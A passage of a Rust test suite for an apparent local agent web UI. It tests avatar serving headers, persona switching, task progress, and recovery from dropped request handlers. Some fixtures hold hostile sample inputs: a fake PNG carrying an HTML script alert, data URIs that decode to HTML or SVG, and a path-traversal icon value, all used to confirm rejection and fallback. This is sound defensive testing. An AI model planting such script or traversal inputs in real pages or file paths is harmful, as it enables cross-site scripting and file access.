14313        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14314        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14315        assert_eq!(
14316            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14317            "nosniff"
14318        );
14319        for bad in [
14320            "data:image/png;base64,PGh0bWw+".to_owned(),
14321            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14322            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14323        ] {
14324            assert!(save_magi_icon(home.path(), &bad).is_err());
14325            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14326        }
14327        // Re-opened server state reads the same independent home file.
14328        let restarted = Arc::new(Ui::new(
14329            Queue::at(home.path().join("queue")),
14330            Questions::at(home.path().join("questions")),
14331            Talks::at(home.path().join("talks")),
14332            home.path().join("runs"),
14333            home.path().to_path_buf(),
14334            repo,
14335        ));
14336        assert_eq!(
14337            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14338            changed
14339        );
14340        let view = TalkView::with_config(
14341            restarted.talks.get(&id).unwrap(),
14342            false,
14343            None,
14344            &restarted.home,
14345            &restarted.references,
14346        );
14347        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14348        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14349        let response = magi_avatar(
14350            State(ui.clone()),
14351            Query(AvatarQuery {
14352                persona: None,
14353                builtin: None,
14354            }),
14355        )
14356        .await;
14357        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14358            .await
14359            .unwrap();
14360        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14361        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14362        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14363        let _ = magi_icon_delete(State(ui)).await.unwrap();
14364    }
14365
14366    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14367    async fn avatar(
14368        ui: &Arc<Ui>,
14369        id: &str,
14370        persona: Option<&str>,
14371        builtin: bool,
14372    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14373        let res = talk_avatar(
14374            State(Arc::clone(ui)),
14375            Path(id.to_owned()),
14376            Query(AvatarQuery {
14377                persona: persona.map(str::to_owned),
14378                builtin: builtin.then(|| "1".to_owned()),
14379            }),
14380        )
14381        .await
14382        .expect("an avatar is never an error response");
14383        let h = res.headers();
14384        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14385        let nosniff = h
14386            .get(header::X_CONTENT_TYPE_OPTIONS)
14387            .is_some_and(|v| v == "nosniff");
14388        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14389        let status = res.status();
14390        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14391            .await
14392            .expect("body")
14393            .to_vec();
14394        (status, ct, nosniff, csp, body)
14395    }
14396
14397    fn tiny_png() -> Vec<u8> {
14398        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14399        b.extend_from_slice(&[0u8; 32]);
14400        b
14401    }
14402
14403    #[tokio::test]
14404    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14405        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14406        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14407        assert_eq!(res.status(), StatusCode::OK);
14408        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14409        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14410        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14411        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14412        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14413            .await
14414            .unwrap();
14415        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14416        assert_ne!(
14417            persona_icon::operator_svg(),
14418            persona_icon::builtin_svg("default")
14419        );
14420    }
14421
14422    #[tokio::test]
14423    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14424        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14425        for p in [
14426            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14427        ] {
14428            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14429            assert_eq!(status, StatusCode::OK, "{p}");
14430            assert_eq!(ct, "image/svg+xml", "{p}");
14431            assert!(nosniff && csp, "{p}");
14432            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14433        }
14434        // No `persona` means the conversation's own; unknown ones fall back.
14435        let own = avatar(&ui, &id, None, false).await;
14436        let default = avatar(&ui, &id, Some("default"), false).await;
14437        assert_eq!(own.4, default.4);
14438        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14439        assert_eq!(unknown.1, "image/svg+xml");
14440    }
14441
14442    #[tokio::test]
14443    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14444        let dir = TempDir::new().expect("icons");
14445        let good = dir.path().join("good.png");
14446        std::fs::write(&good, tiny_png()).unwrap();
14447        let spoof = dir.path().join("spoof.png");
14448        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14449        let big = dir.path().join("big.png");
14450        let mut bytes = tiny_png();
14451        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14452        std::fs::write(&big, bytes).unwrap();
14453        let missing = dir.path().join("missing.png");
14454        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14455        let extra = format!(
14456            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14457             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14458             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14459             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14460             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14461             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14462            uri(&good),
14463            uri(&spoof),
14464            uri(&big),
14465            uri(&missing),
14466        );
14467        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14468
14469        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14470        assert_eq!(
14471            (status, ct.as_str(), nosniff),
14472            (StatusCode::OK, "image/png", true)
14473        );
14474        assert_eq!(body, tiny_png());
14475        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14476        assert_eq!(ct, "image/png", "data URI");
14477
14478        for p in ["misato", "asuka", "shinji", "magi"] {
14479            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14480            assert_eq!(
14481                (status, ct.as_str(), csp),
14482                (StatusCode::OK, "image/svg+xml", true),
14483                "{p}"
14484            );
14485            assert!(body.starts_with(b"<svg"), "{p}");
14486        }
14487        // The page's own retry skips the icon.
14488        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14489        assert_eq!(ct, "image/svg+xml");
14490    }
14491
14492    #[tokio::test]
14493    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14494        let oversized = format!(
14495            "data:image/png;base64,{}",
14496            "A".repeat(persona_icon::ICON_MAX_BYTES)
14497        );
14498        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14499            let extra = format!(
14500                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14501            );
14502            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14503            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14504                .await
14505                .expect("detail with invalid icon");
14506            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14507            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14508            assert_eq!(status, StatusCode::OK);
14509            assert_eq!(ct, "image/svg+xml");
14510            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14511            let Json(view) = talk_persona(
14512                State(Arc::clone(&ui)),
14513                Path(id.clone()),
14514                Json(TalkPersona {
14515                    persona: "custom".into(),
14516                }),
14517            )
14518            .await
14519            .expect("persona switch with invalid icon");
14520            assert_eq!(view.talk.persona, "custom");
14521            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14522        }
14523    }
14524
14525    #[tokio::test]
14526    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14527        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14528        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14529        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14530        assert_eq!(
14531            (status, ct.as_str(), nosniff, csp),
14532            (StatusCode::OK, "image/svg+xml", true, true)
14533        );
14534    }
14535
14536    #[tokio::test]
14537    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14538        let (_t, _h, ui, id, _repo) =
14539            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14540        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14541            .await
14542            .expect("detail");
14543        let json = serde_json::to_string(&detail).unwrap();
14544        assert!(
14545            !json.contains("secret"),
14546            "the icon setting must not leak: {json}"
14547        );
14548        assert!(
14549            detail
14550                .view
14551                .persona_avatar
14552                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14553        );
14554        assert_eq!(
14555            detail.view.operator_avatar,
14556            format!(
14557                "/avatars/operator.svg?v={}",
14558                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14559            )
14560        );
14561        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14562        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14563        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14564        assert!(rei.avatar.contains("persona=rei&v="));
14565        assert_ne!(
14566            rei.avatar.split("&v=").nth(1),
14567            plain.avatar.split("&v=").nth(1)
14568        );
14569    }
14570
14571    #[tokio::test]
14572    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14573        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14574        let cfg = config_for(&repo).await.unwrap();
14575        for arrived in [false, true] {
14576            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14577            let observed = ui.queued_generation(&id);
14578            let talk = ui.talks.get(&id).unwrap();
14579            if arrived {
14580                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14581            }
14582            let mut settling = std::pin::pin!(settle_settings_turn(
14583                talk,
14584                ui.talks.clone(),
14585                cfg.clone(),
14586                id.clone(),
14587                turn,
14588                observed
14589            ));
14590            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14591            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14592            assert_eq!(first.is_pending(), arrived);
14593            if arrived {
14594                assert!(!settling.await);
14595            }
14596            assert!(!ui.is_thinking(&id));
14597        }
14598    }
14599
14600    #[tokio::test]
14601    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14602        let tmp = TempDir::new().expect("tempdir");
14603        let repo = tmp.path().join("repo");
14604        std::fs::create_dir_all(&repo).expect("repo dir");
14605        std::fs::write(
14606            repo.join("magi.toml"),
14607            format!(
14608                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14609            ),
14610        )
14611        .expect("write magi.toml");
14612        let home = TempDir::new().expect("temp home");
14613        let talks = Talks::at(home.path().join("talks"));
14614        let ui = Arc::new(
14615            Ui::new(
14616                Queue::at(home.path().join("queue")),
14617                Questions::at(home.path().join("questions")),
14618                talks.clone(),
14619                home.path().join("runs"),
14620                home.path().to_path_buf(),
14621                repo.clone(),
14622            )
14623            .with_worktrees_root(home.path().join("wt")),
14624        );
14625        let cfg = config_for(&repo).await.expect("discover config");
14626        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14627        let id = talk.id.clone();
14628        let call = |persona: &str| {
14629            talk_persona(
14630                State(Arc::clone(&ui)),
14631                Path(id.clone()),
14632                Json(TalkPersona {
14633                    persona: persona.to_owned(),
14634                }),
14635            )
14636        };
14637
14638        let unknown = call("nobody").await.expect_err("unknown persona");
14639        assert_eq!(
14640            unknown.status,
14641            StatusCode::BAD_REQUEST,
14642            "{}",
14643            unknown.message
14644        );
14645
14646        {
14647            // Nothing refused so far took a claim, so the guard is free to take
14648            // and holding it is what makes the talk busy.
14649            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14650            let busy = call("rei").await.expect_err("busy talk");
14651            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14652            assert!(
14653                busy.message.contains("a talk turn is running"),
14654                "{}",
14655                busy.message
14656            );
14657            drop(guard);
14658        }
14659        assert_eq!(talks.get(&id).expect("reload").persona, "");
14660
14661        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14662        assert_eq!(view.talk.persona, "gendo");
14663        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14664        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14665        // No intervening I/O or sleep may be needed before another change.
14666        for chosen in ["default", "gendo", "rei", "gendo"] {
14667            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14668            assert!(!view.thinking);
14669            assert!(!ui.is_thinking(&id));
14670        }
14671
14672        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14673            .await
14674            .expect("detail");
14675        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14676        assert_eq!(ids.first(), Some(&"default"));
14677        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14678
14679        let Json(view) = call("default").await.expect("back to default");
14680        assert_eq!(view.talk.persona, "");
14681
14682        let mut closed = talks.get(&id).expect("reload");
14683        talk::close(&mut closed, &talks).expect("close");
14684        let refused = call("rei").await.expect_err("closed talk");
14685        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14686        assert!(
14687            refused.message.contains("takes no more turns"),
14688            "{}",
14689            refused.message
14690        );
14691    }
14692
14693    #[tokio::test]
14694    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14695        let f = Fixture::start().await;
14696        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14697        let queue = f.queue();
14698        let mut mine = Task::new(
14699            "rename the loader".to_owned(),
14700            "rename the loader".to_owned(),
14701            PathBuf::from("/repo/magi"),
14702            Source::Agent {
14703                run: talk_id.clone(),
14704                node: "chat".to_owned(),
14705            },
14706        );
14707        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14708        assert_eq!(empty["task_progress"]["state"], "none");
14709        assert_eq!(empty["task_progress"]["total"], 0);
14710        queue.put(&mut mine).expect("file the task");
14711        let mut theirs = Task::new(
14712            "unrelated".to_owned(),
14713            "unrelated".to_owned(),
14714            PathBuf::from("/repo/magi"),
14715            Source::Human,
14716        );
14717        // A later task linked through origin_chat alone is outside this list.
14718        theirs.origin_chat = Some(talk_id.clone());
14719        queue.put(&mut theirs).expect("file the task");
14720
14721        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14722        assert_eq!(res.status, 200, "{}", res.body);
14723        let body = res.json();
14724        assert_eq!(
14725            body["status"], "open",
14726            "filing a task does not close a talk"
14727        );
14728        let tasks = body["tasks"].as_array().expect("tasks array");
14729        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14730        assert_eq!(tasks[0]["id"], mine.id);
14731        for status in [
14732            TaskStatus::Queued,
14733            TaskStatus::Running,
14734            TaskStatus::Held,
14735            TaskStatus::Failed,
14736            TaskStatus::Blocked,
14737            TaskStatus::Parked,
14738            TaskStatus::Done,
14739            TaskStatus::Queued,
14740        ] {
14741            mine.status = status;
14742            queue.put(&mut mine).expect("update status");
14743            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14744            let progress = &detail["task_progress"];
14745            assert_eq!(progress["total"], 1);
14746            assert_eq!(progress["counts"][status.as_str()], 1);
14747            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14748            assert_eq!(detail["status"], "open", "completion never closes the chat");
14749            if status == TaskStatus::Done {
14750                assert_eq!(progress["state"], "complete");
14751                assert_eq!(progress["done"], 1);
14752                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14753            } else {
14754                assert_eq!(progress["state"], "incomplete");
14755                assert_eq!(progress["done"], 0);
14756                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14757            }
14758        }
14759    }
14760
14761    #[test]
14762    fn talk_task_progress_counts_mixed_statuses() {
14763        let mut tasks: Vec<_> = [
14764            TaskStatus::Queued,
14765            TaskStatus::Running,
14766            TaskStatus::Held,
14767            TaskStatus::Failed,
14768            TaskStatus::Blocked,
14769            TaskStatus::Parked,
14770            TaskStatus::Done,
14771        ]
14772        .into_iter()
14773        .map(|status| {
14774            let mut task = Task::new(
14775                "task".into(),
14776                "task".into(),
14777                PathBuf::from("/repo"),
14778                Source::Human,
14779            );
14780            task.status = status;
14781            task
14782        })
14783        .collect();
14784        let progress = talk_task_progress(&tasks);
14785        assert_eq!(progress.state, "incomplete");
14786        assert_eq!(progress.total, 7);
14787        assert_eq!(progress.done, 1);
14788        assert_eq!(progress.unfinished_ids.len(), 6);
14789        assert!(progress.counts.values().all(|count| *count == 1));
14790        assert_eq!(
14791            progress.unfinished_ids,
14792            tasks[..6]
14793                .iter()
14794                .map(|task| task.id.clone())
14795                .collect::<Vec<_>>()
14796        );
14797
14798        for task in &mut tasks {
14799            task.status = TaskStatus::Done;
14800        }
14801        let complete = talk_task_progress(&tasks);
14802        assert_eq!(complete.state, "complete");
14803        assert_eq!(complete.done, 7);
14804        assert!(complete.unfinished_ids.is_empty());
14805        tasks[0].status = TaskStatus::Queued;
14806        let requeued = talk_task_progress(&tasks);
14807        assert_eq!(requeued.state, "incomplete");
14808        assert_eq!(requeued.done, 6);
14809        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14810
14811        let empty = talk_task_progress(&[]);
14812        assert_eq!(empty.state, "none");
14813        assert_eq!(empty.total, 0);
14814        assert_eq!(empty.done, 0);
14815        assert!(empty.unfinished_ids.is_empty());
14816        assert!(empty.counts.values().all(|count| *count == 0));
14817    }
14818
14819    #[tokio::test]
14820    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14821        let (_tmp, _repo, f) = talk_fixture().await;
14822        let id = f.post("/api/talks", None).await.json()["id"]
14823            .as_str()
14824            .expect("id")
14825            .to_owned();
14826
14827        let res = f
14828            .post(
14829                &format!("/api/talks/{id}/say"),
14830                Some(r#"{"text":"what does the queue module do?"}"#),
14831            )
14832            .await;
14833        assert_eq!(res.status, 202, "{}", res.body);
14834        let queued = res.json();
14835        let turns = queued["turns"].as_array().expect("turns array");
14836        assert_eq!(
14837            turns.len(),
14838            1,
14839            "the answer reflects only what is on disk the instant it is sent, \
14840             before the agent's turn - which can run for the whole of \
14841             `[graph] timeout_talk` - has a chance to land: {queued}"
14842        );
14843        assert_eq!(turns[0]["who"], "operator");
14844        assert_eq!(turns[0]["body"], "what does the queue module do?");
14845        assert_eq!(
14846            queued["thinking"], true,
14847            "the accepted response exposes the background turn claim: {queued}"
14848        );
14849
14850        let mut turns_after = 1;
14851        for _ in 0..SETTLE_STEPS {
14852            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14853            turns_after = detail["turns"].as_array().expect("turns array").len();
14854            if turns_after == 2 {
14855                break;
14856            }
14857            tokio::time::sleep(Duration::from_millis(10)).await;
14858        }
14859        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14860    }
14861
14862    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14863    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14864    /// guards against: `talk::record` used to return, and only *then* did the
14865    /// handler make a second, separate disk round trip before spawning the
14866    /// agent's reply task. A future dropped in that gap left a message
14867    /// recorded on disk with no reply task ever started and no way back short
14868    /// of a fresh message - and the gap was not even the whole story: *any*
14869    /// `.await` in this handler, including the very first one, is a point
14870    /// where a drop can land after the awaited work already finished but
14871    /// before this handler's own code resumes to act on it. `record` now
14872    /// runs inside the task `tokio::spawn` hands to the runtime before this
14873    /// handler ever awaits anything of its own again, so there is nothing
14874    /// left in *this* handler's future for a disconnect to interrupt between
14875    /// the message landing on disk and the reply task starting.
14876    ///
14877    /// A real socket disconnect cannot be relied on to land in the old gap
14878    /// from a test - over loopback, `talk_say` typically finishes before the
14879    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14880    /// same failure mode directly: it drops the task's future at whatever
14881    /// point it has reached, exactly what axum does to the handler future,
14882    /// without needing to win a real network race. Sweeping the delay before
14883    /// aborting samples a range of points the task's execution can be at,
14884    /// including where the old code sat waiting on its second disk round
14885    /// trip - confirmed by reverting this fix locally and watching this same
14886    /// sweep catch a talk stuck with the operator's turn recorded and no
14887    /// reply ever following.
14888    #[tokio::test]
14889    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14890        let tmp = TempDir::new().expect("tempdir");
14891        let repo = tmp.path().join("repo");
14892        std::fs::create_dir_all(&repo).expect("repo dir");
14893        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14894        let home = TempDir::new().expect("temp home");
14895        let talks = Talks::at(home.path().join("talks"));
14896        let ui = Arc::new(
14897            Ui::new(
14898                Queue::at(home.path().join("queue")),
14899                Questions::at(home.path().join("questions")),
14900                talks.clone(),
14901                home.path().join("runs"),
14902                home.path().to_path_buf(),
14903                repo.clone(),
14904            )
14905            .with_worktrees_root(home.path().join("wt")),
14906        );
14907        let cfg = config_for(&repo).await.expect("discover config");
14908
14909        for delay in 0..40u32 {
14910            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14911            let id = talk.id.clone();
14912
14913            let handler = tokio::spawn(talk_say(
14914                State(Arc::clone(&ui)),
14915                Path(id.clone()),
14916                Ok(Json(NewTalkTurn {
14917                    reply_to: None,
14918                    text: "what does the queue module do?".to_owned(),
14919                    attachments: Vec::new(),
14920                })),
14921            ));
14922            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14923            handler.abort();
14924            // Wait out the abort so the next iteration's talk does not race
14925            // this one's still-unwinding turn guard.
14926            let _ = handler.await;
14927
14928            let mut turns = 0;
14929            for _ in 0..SETTLE_STEPS {
14930                if let Ok(fresh) = talks.get(&id) {
14931                    turns = fresh.turns.len();
14932                    if turns != 1 {
14933                        break;
14934                    }
14935                }
14936                tokio::time::sleep(Duration::from_millis(10)).await;
14937            }
14938            assert_ne!(
14939                turns, 1,
14940                "delay {delay}: talk {id} recorded the operator's turn but \
14941                 the agent never answered - the reply task was never \
14942                 started after the handler future was dropped"
14943            );
14944        }
14945    }
14946
14947    /// The same drop, landing on `talk_say`'s other durable write.
14948    ///
14949    /// When a turn is already running, the busy branch persists the
14950    /// operator's text as a queued draft and then reclaims the turn slot if
14951    /// the holder gave it up in the meantime - and whoever reclaims owes that
14952    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14953    /// which finishes whether or not the future awaiting it is still there,
14954    /// so a handler dropped at that `.await` used to leave the draft written
14955    /// to disk with the reclaimed guard dropped unread and no drainer ever
14956    /// started: the message sat queued until some unrelated later `say`
14957    /// happened to pick it up.
14958    ///
14959    /// This used to drive the handler future by hand, polling it a fixed
14960    /// number of times to park it at the `.await` where it asks for the turn
14961    /// and finds it busy, before the reclaim's slot-free case could be set up
14962    /// underneath it. That assumed a fixed number of polls lands at a fixed
14963    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14964    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14965    /// poll, so any number of this handler's several `blocking` awaits can
14966    /// collapse into one poll under load, landing the drive somewhere other
14967    /// than intended - including, occasionally, straight past the handler's
14968    /// own completion, which made polling it again panic with "async fn
14969    /// resumed after completion". No poll count fixes that; the handler's
14970    /// progress simply is not something a caller outside it can observe by
14971    /// counting.
14972    ///
14973    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14974    /// inside the write itself, so the interleaving under test is pinned by
14975    /// an event instead of a guess: the gate fires only once the handler has
14976    /// actually decided `Busy` and is about to persist the draft, and it
14977    /// blocks that write until the test lets it through. Between those two
14978    /// moments the test drains the turn the handler found busy - through
14979    /// `drain_loop`, the protocol's other half - and then aborts the handler
14980    /// task outright, the same way axum drops a disconnected request's
14981    /// future. The write, and the reclaim it may do, run to completion
14982    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14983    /// to the runtime before ever touching the gate, wholly independent of
14984    /// whether the handler that started it is still around - which is what
14985    /// this test is actually checking. A drainer other than that reclaim
14986    /// cannot exist here: the test's own `drain_loop` call happens before the
14987    /// gate opens, so it runs while the queue is still empty and hands the
14988    /// turn straight back rather than draining anything, closing off the
14989    /// possibility of the final assertion passing without the reclaim ever
14990    /// having done its job.
14991    #[tokio::test]
14992    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14993        let tmp = TempDir::new().expect("tempdir");
14994        let repo = tmp.path().join("repo");
14995        std::fs::create_dir_all(&repo).expect("repo dir");
14996        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14997        let home = TempDir::new().expect("temp home");
14998        let talks = Talks::at(home.path().join("talks"));
14999        let ui = Arc::new(
15000            Ui::new(
15001                Queue::at(home.path().join("queue")),
15002                Questions::at(home.path().join("questions")),
15003                talks.clone(),
15004                home.path().join("runs"),
15005                home.path().to_path_buf(),
15006                repo.clone(),
15007            )
15008            .with_worktrees_root(home.path().join("wt")),
15009        );
15010        let cfg = config_for(&repo).await.expect("discover config");
15011
15012        for attempt in 0..3u32 {
15013            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15014            let id = talk.id.clone();
15015            // A turn is already running, which is what sends `talk_say` down
15016            // the busy branch.
15017            let turn_guard = ui
15018                .begin_talk_turn(&id)
15019                .expect("claim the turn")
15020                .expect("a fresh talk owes nobody a turn");
15021
15022            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15023            let (release_tx, release_rx) = std::sync::mpsc::channel();
15024            ui.set_busy_queue_gate(BusyQueueGate {
15025                reached: reached_tx,
15026                release: release_rx,
15027            });
15028
15029            let handler = tokio::spawn(talk_say(
15030                State(Arc::clone(&ui)),
15031                Path(id.clone()),
15032                Ok(Json(NewTalkTurn {
15033                    reply_to: None,
15034                    text: "what does the queue module do?".to_owned(),
15035                    attachments: Vec::new(),
15036                })),
15037            ));
15038
15039            // Wait for the busy branch to actually reach the gate, rather
15040            // than for any fixed number of polls of anything - a bounded
15041            // wait rather than a bare `.await` so a regression that never
15042            // reaches the gate fails the test instead of hanging it.
15043            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15044                .await
15045                .unwrap_or_else(|_| {
15046                    panic!(
15047                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15048                    )
15049                })
15050                .expect("the busy branch dropped the gate without using it");
15051            assert!(
15052                crate::consult::try_publication_guard(&talks, &id)
15053                    .expect("publication fence")
15054                    .is_none(),
15055                "a queued worker cannot promote text before its successor reservation is published"
15056            );
15057
15058            // A listener replacement queues its writer behind this accepted
15059            // mutation. Even disconnecting the HTTP caller must not release
15060            // admission before the write-to-worker handoff has completed.
15061            let closing = Arc::clone(&ui.admissions).write_owned();
15062            tokio::pin!(closing);
15063            std::future::poll_fn(|cx| {
15064                assert!(closing.as_mut().poll(cx).is_pending());
15065                std::task::Poll::Ready(())
15066            })
15067            .await;
15068            assert!(
15069                ui.begin_admission().is_err(),
15070                "replacement blocks later admissions"
15071            );
15072
15073            // The turn that was running now finishes and gives the slot up
15074            // the way a real one does - through `drain_loop`, which finds
15075            // nothing queued yet (the write is still held at the gate) and
15076            // releases. The handler, parked inside `spawn_blocking` on the
15077            // other side of the gate, still believes the talk is busy -
15078            // exactly the interleaving the reclaim exists for.
15079            let running = talks.get(&id).expect("reload talk");
15080            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15081
15082            // Drop the handler future now, the way a reloading phone drops
15083            // it: suspended waiting on the busy branch's answer, having
15084            // itself made no more progress since it handed the write off.
15085            handler.abort();
15086            let _ = handler.await;
15087            std::future::poll_fn(|cx| {
15088                assert!(
15089                    closing.as_mut().poll(cx).is_pending(),
15090                    "HTTP cancellation must not abandon a publishing transaction"
15091                );
15092                std::task::Poll::Ready(())
15093            })
15094            .await;
15095            assert!(
15096                crate::consult::try_publication_guard(&talks, &id)
15097                    .expect("publication fence after disconnect")
15098                    .is_none()
15099            );
15100
15101            // Only now let the gated write proceed. It persists the draft
15102            // and reclaims the now-free slot from inside the task the busy
15103            // branch already spawned - unaffected by the handler's abort
15104            // above, since that task was independent of the handler's own
15105            // future from the moment it was spawned.
15106            let _ = release_tx.send(());
15107            drop(
15108                tokio::time::timeout(Duration::from_secs(5), closing)
15109                    .await
15110                    .expect("short admission transaction should release for replacement"),
15111            );
15112            assert!(
15113                crate::consult::try_publication_guard(&talks, &id)
15114                    .expect("publication fence after acknowledgement")
15115                    .is_some(),
15116                "the publication fence is not retained by the long response"
15117            );
15118
15119            // A settled talk: the draft drained into an operator turn and
15120            // answered.
15121            let mut fresh = talks.get(&id).expect("reload talk");
15122            for _ in 0..SETTLE_STEPS {
15123                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15124                    break;
15125                }
15126                tokio::time::sleep(Duration::from_millis(10)).await;
15127                fresh = talks.get(&id).expect("reload talk");
